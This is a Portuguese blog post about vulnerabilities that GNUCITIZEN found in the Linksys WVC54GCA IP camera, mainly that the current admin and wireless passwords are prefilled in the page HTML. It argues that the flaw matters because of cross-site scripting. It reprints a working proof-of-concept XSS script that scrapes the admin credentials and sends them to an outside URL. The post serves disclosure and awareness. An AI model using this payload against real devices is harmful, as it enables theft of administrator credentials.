logo

Câmera IP da Linksys (WVC54GCA) vulnerável.

logo

WVC54GCA

Nos últimos dias, o site GNUCITIZEN esteve efetuando uma série de testes na Câmera IP da Linksys modelo WVC54GCA. O resultado já rendeu 4 posts repletos de descrições das falhas encontradas, que vão de transmissão da senha de administrador para o programa de instalação em texto puro (sem criptografia), até leitura de arquivos do sistema do roteador apenas definindo seu path e nome pela URL

Os posts podem ser lidos aqui: Parte 1, Parte 2, Parte 3, Parte 4. Eu recomendo!

Mas o que gostaria de destacar disso tudo está na parte 4. Eu gosto de alertar sobre vulnerabilidades que muitos considerariam de baixo (ou nenhum) risco. O que podemos tirar do exemplo do WVC54GCA acontece em diversos roteadores e até websites.

Segundo o site GNUCITIZEN, na página de mudança de senha da câmera ( /adm/file.cgi?next_file=pass_wd.htm ) o campo que define a mesma já vem previamente preenchido (contendo a senha atual). Apesar de o tipo do campo ser definido como password (veja, abaixo, em azul), isto não a protege, uma vez que o valor informado no campo pode ser lido visualizando o código HTML da página (Na maioria dos navegadores: Exibir > Código Fonte).

<input type="password" size="8" maxlength="64" name="admpw" value="SenhaAqui"
onKeyDown="chkPsize(this.value.length,64,msg_bigpw)">

O mesmo ocorre na página de mudança da senha Wireless.

Agora, o questionamento principal: Por que não dão a devida importancia a este tipo de falha? O pessoal do GNUCITIZEN respondeu incrivelmente:

No caso da senha da wireless, eles (aqueles que acreditam que a falha não apresenta risco) dizem que seria possível captura-la por outros meios (como, por exemplo, usando as ferramentas do Aircrack Suite) e, principalmente, que para estar lendo aquilo, o “hacker” já deveria estar na rede, ou seja, já saberia a senha wireless. Estão errados!

Já quanto a senha do administrador, o argumento usado é que já que não há suporte a HTTPS (SSL), a conexão não é criptografada, por tanto, qualquer pessoa capturando pacotes da rede (sniffing) poderia capturar a navegação do administrador, que contém, no cabeçalho, a autenticação (em base64). Novamente, errados!

O ponto chave da questão é que não consideraram o tipo da falha que mais venho martelando aqui no blog: Cross-site Scripting (XSS).

Qualquer possibilidade de injeção de um JavaScript no navegador de um administrador do roteador já seria o bastante para que ele, involuntariamente, enviasse a senha de administrador\da wireless para um script qualquer, na web. E este exploit só funcionaria porque o produto em questão retorna a senha em texto puro, já que ele simplesmente entraria (usando ajax) na página de mudança de senha, leria o código fonte utilizando filtros  e retornaria o resultado.

Um exploit de exemplo, para este modelo, foi escrito pelo GNUCITIZEN. Aqui está ele:

// evil.js : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest && !(window.ActiveXObject)) {
    		try {
			req = new XMLHttpRequest();
        	}
		catch(e) {
			req = false;
        	}
    	}
    	// branch for IE/Windows ActiveX version
	else if(window.ActiveXObject) {
       		try {
        		req = new ActiveXObject("Msxml2.XMLHTTP");
      		}
		catch(e)  {
        		try {
          			req = new ActiveXObject("Microsoft.XMLHTTP");
        		}
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open("GET", url, true);
		req.send("");
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows "loaded"
    	if (req.readyState == 4) {
        	// only if "OK"
        	if (req.status == 200) {
			var bits=req.responseText.split(/\"/);
			var gems="";
			// dirty credentials-scraping code
			for (i=0;i<bits.length;++i) {
                                if(bits[i]=="adm" && bits[i+1]==" value=") {
                               		gems+="login=";
					gems+=bits[i+2];
                                }
                                if(bits[i]=="admpw" && bits[i+1]==" value=") {
                                       	gems+='&password=';
					gems+=bits[i+2];
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src='http://google.com/x.php?'+gems; // URL should point to data-theft script on attacker's site
        	}
    	}
}

var url="/adm/file.cgi?next_file=pass_wd.htm";
loadXMLDoc(url);

Fonte: GNUCITIZEN

Leave a Reply

Powered by WP Hashcash

logo
logo
Sistema por: Wordpress | Tema: Elegant Themes